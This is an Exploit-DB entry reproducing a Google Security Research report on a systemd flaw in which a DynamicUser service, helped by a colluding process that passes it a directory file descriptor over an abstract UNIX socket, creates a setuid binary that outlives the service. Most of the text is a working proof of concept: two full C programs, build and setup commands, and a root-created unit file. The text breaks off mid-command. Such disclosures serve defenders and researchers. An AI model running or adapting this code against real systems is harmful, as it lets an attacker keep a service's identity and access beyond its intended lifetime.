Exploit-DB #46760
Description: systemd - DynamicUser can Create setuid Binaries when Assisted by Another Process
Type: dos
Platform: linux
Date: 2019-04-26
Author: Google Security Research

Exploit:
This bug report describes a bug in systemd that allows a service with
DynamicUser in collaboration with another service or user to create a setuid
binary that can be used to access its UID beyond the lifetime of the service.
This bug probably has relatively low severity, given that there aren't many
services yet that use DynamicUser, and the requirement of collaboration with
another process limits the circumstances in which it would be useful to an
attacker further; but in a system that makes heavy use of DynamicUser, it would
probably have impact.

<https://www.freedesktop.org/software/systemd/man/systemd.exec.html#DynamicUser=>
says:

    In order to allow the service to write to certain directories, they have to
    be whitelisted using ReadWritePaths=, but care must be taken so that UID/GID
    recycling doesn't create security issues involving files created by the
    service.

While I was chatting about DynamicUser with catern on IRC, I noticed that
DynamicUser doesn't isolate the service from the rest of the system in terms of
UNIX domain sockets; therefore, if a collaborating user passes a file descriptor
to a world-writable path outside the service's mount namespace into the
service, the service can then create setuid files that can be used by the
collaborating user beyond the lifetime of the service.


To reproduce:

As a user:
======================================================================
user@deb10:~$ mkdir systemd_uidleak
user@deb10:~$ cd systemd_uidleak
user@deb10:~/systemd_uidleak$ cat > breakout_assisted.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <err.h>

int main(void) {
  setbuf(stdout, NULL);

  // prepare unix domain socket
  int s = socket(AF_UNIX, SOCK_DGRAM, 0);
  if (s < 0) err(1, "unable to create unix domain socket");
  struct sockaddr_un addr = {
    .sun_family = AF_UNIX,
    .sun_path = "\0breakout"
  };
  if (bind(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
    err(1, "unable to bind abstract socket");
  puts("waiting for connection from outside the service...");

  // receive fd to somewhere under the real root
  int len = sizeof(struct cmsghdr) + sizeof(int);
  struct cmsghdr *hdr = alloca(len);
  struct msghdr msg = {
    .msg_control = hdr,
    .msg_controllen = len
  };
  if (recvmsg(s, &msg, 0) < 0) err(1, "unable to receive fd");
  if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET
      || hdr->cmsg_type != SCM_RIGHTS)
    errx(1, "got bad message");
  puts("got rootfd from other chroot...");
  if (fchdir(*(int*)CMSG_DATA(hdr))) err(1, "unable to change into real root");
  char curpath[4096];
  if (!getcwd(curpath, sizeof(curpath))) err(1, "unable to getpath()");
  printf("chdir successful, am now in %s\n", curpath);

  // create suid file
  int src_fd = open("suid_src", O_RDONLY);
  if (src_fd == -1) err(1, "open suid_src");
  int dst_fd = open("suid_dst", O_RDWR|O_CREAT|O_EXCL, 0644);
  if (dst_fd == -1) err(1, "open suid_dst");

  while (1) {
    char buf[1000];
    ssize_t res = read(src_fd, buf, sizeof(buf));
    if (res == -1) err(1, "read");
    if (res == 0) break;
    ssize_t res2 = write(dst_fd, buf, res);
    if (res2 != res) err(1, "write");
  }

  if (fchmod(dst_fd, 04755)) err(1, "fchmod");
  close(src_fd);
  close(dst_fd);

  // and that's it!
  puts("done!");
  while (1) pause();
  return 0;
}
user@deb10:~/systemd_uidleak$ gcc -o breakout_assisted breakout_assisted.c 
user@deb10:~/systemd_uidleak$ cat > breakout_helper.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <err.h>

int main(void) {
  int rootfd = open(".", O_PATH);
  if (rootfd < 0) err(1, "unable to open cwdfd");
  int s = socket(AF_UNIX, SOCK_DGRAM, 0);
  if (s < 0) err(1, "unable to create unix domain socket");
  struct sockaddr_un addr = {
    .sun_family = AF_UNIX,
    .sun_path = "\0breakout"
  };
  if (connect(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8))
    err(1, "unable to connect to abstract socket");
  puts("connected to other chroot, sending cwdfd...");

  int len = sizeof(struct cmsghdr) + sizeof(int);
  struct cmsghdr *hdr = alloca(len);
  *hdr = (struct cmsghdr) {
    .cmsg_len = len,
    .cmsg_level = SOL_SOCKET,
    .cmsg_type = SCM_RIGHTS
  };
  *(int*)CMSG_DATA(hdr) = rootfd;
  struct msghdr msg = {
    .msg_control = hdr,
    .msg_controllen = len
  };
  if (sendmsg(s, &msg, 0) < 0) err(1, "unable to send fd");
  puts("all ok on this side!");
  return 0;
}
user@deb10:~/systemd_uidleak$ gcc -o breakout_helper breakout_helper.c 
user@deb10:~/systemd_uidleak$ cp /usr/bin/id suid_src
user@deb10:~/systemd_uidleak$ chmod 0777 .
user@deb10:~/systemd_uidleak$ ls -la .
total 100
drwxrwxrwx  2 user user  4096 Feb  4 21:22 .
drwxr-xr-x 23 user user  4096 Feb  4 21:19 ..
-rwxr-xr-x  1 user user 17432 Feb  4 21:20 breakout_assisted
-rw-r--r--  1 user user  1932 Feb  4 21:20 breakout_assisted.c
-rwxr-xr-x  1 user user 16872 Feb  4 21:22 breakout_helper
-rw-r--r--  1 user user  1074 Feb  4 21:22 breakout_helper.c
-rwxr-xr-x  1 user user 43808 Feb  4 21:22 suid_src
user@deb10:~/systemd_uidleak$ 
======================================================================

Then, as root, create and launch a service around breakout_assisted:
======================================================================
root@deb10:/home/user# cat > /etc/systemd/system/dynamic-user-test.service
[Service]
ExecStart=/home/user/systemd_uidleak/breakout_assisted
DynamicUser=yes
root@deb10:/home/user# systemctl daemon-reload
root@deb10:/home/user# systemctl start dynamic-user-test.service
root@deb10:/home/user# systemc